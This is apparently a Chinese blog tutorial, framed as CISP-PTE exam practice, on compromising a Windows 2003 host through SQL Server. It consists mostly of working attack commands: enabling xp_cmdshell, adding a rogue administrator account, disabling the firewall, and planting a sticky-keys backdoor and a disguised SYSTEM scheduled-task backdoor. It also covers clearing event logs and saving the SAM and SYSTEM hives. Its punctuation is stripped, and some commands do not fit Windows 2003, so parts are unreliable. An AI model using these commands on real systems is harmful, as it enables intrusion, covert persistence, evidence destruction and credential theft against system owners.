CISP-PTE实战:Windows 2003渗透测试与权限提升全解析
1. Windows 2003渗透测试环境搭建搞渗透测试的第一步永远是环境准备。我建议用VMware或VirtualBox搭建实验环境把Kali Linux和Windows 2003靶机放在同一个虚拟网络里。这里有个细节要注意Windows 2003默认安装时很多高危服务是关闭的需要手动开启Terminal Services、SQL Server这些服务才能模拟真实场景。我习惯用Nmap做基础扫描这个命令特别实用nmap -sV -T4 -A -O 192.168.1.100参数解释-sV探测服务版本-T4加快扫描速度-A启用OS检测和脚本扫描。实测下来Windows 2003最常见的开放端口就是135、139、445这些如果看到1433端口开着那八成是有SQL Server在跑。2. 数据库渗透实战技巧发现SQL Server服务后千万别急着上爆破工具。我踩过的坑是Windows 2003的账户锁定策略可能会把admin账户锁死。更聪明的做法是扫描网站目录比如用DirBuster找配置文件dirb http://target.com /usr/share/wordlists/dirb/common.txt找到web.config或conn.asp这类文件时里面经常藏着数据库连接字符串。有次我在客户系统里发现conn.asp文件写着connStrProviderSQLOLEDB;Data Source127.0.0.1;User IDwebuser;PasswordPssw0rd123用Microsoft SQL Server Management Studio连上去时要注意不是sa账户也能干很多事。试试这几个SQL命令SELECT name FROM master..sysdatabases USE targetdb SELECT * FROM information_schema.tables3. 权限提升的骚操作拿到数据库权限后重点看能不能执行xp_cmdshell。但Windows 2003默认禁用这个功能这时候需要先开启EXEC sp_configure show advanced options,1 RECONFIGURE EXEC sp_configure xp_cmdshell,1 RECONFIGURE如果遇到权限不足可以试试上传dll文件重建扩展存储过程。我常用的xplog70.dll上传方法先把文件转成十六进制用SQL语句写入临时目录执行sp_addextendedproc注册成功执行系统命令后这几个操作必做EXEC master..xp_cmdshell net user hacker Pssw0rd /add EXEC master..xp_cmdshell net localgroup administrators hacker /add EXEC master..xp_cmdshell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f4. 防火墙绕过与远程控制Windows 2003的防火墙是个难啃的骨头。我总结出三种绕过方案方案一数据库命令关闭EXEC master..xp_cmdshell netsh firewall set opmode disable方案二修改远程桌面端口EXEC master..xp_cmdshell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 27689 /f方案三替换粘滞键程序EXEC master..xp_cmdshell copy c:\windows\system32\sethc.exe c:\windows\system32\sethc_bak.exe EXEC master..xp_cmdshell copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe实测最稳的是第三种方案连按5次shift就能调出cmd。不过要注意部分打了补丁的系统会检测文件签名。5. 权限维持与痕迹清理拿到system权限后别忘了做持久化。我常用的方法是在计划任务里埋后门EXEC master..xp_cmdshell schtasks /create /tn WindowsUpdate /tr c:\hack\backdoor.exe /sc minute /mo 30 /ru SYSTEM清理日志也有讲究这条命令能删除最近的事件记录EXEC master..xp_cmdshell wevtutil cl System EXEC master..xp_cmdshell wevtutil cl Security EXEC master..xp_cmdshell wevtutil cl Application最后提醒下Windows 2003的hash可以用SAMInside提取但记得先执行EXEC master..xp_cmdshell reg save HKLM\SAM sam.save EXEC master..xp_cmdshell reg save HKLM\SYSTEM system.save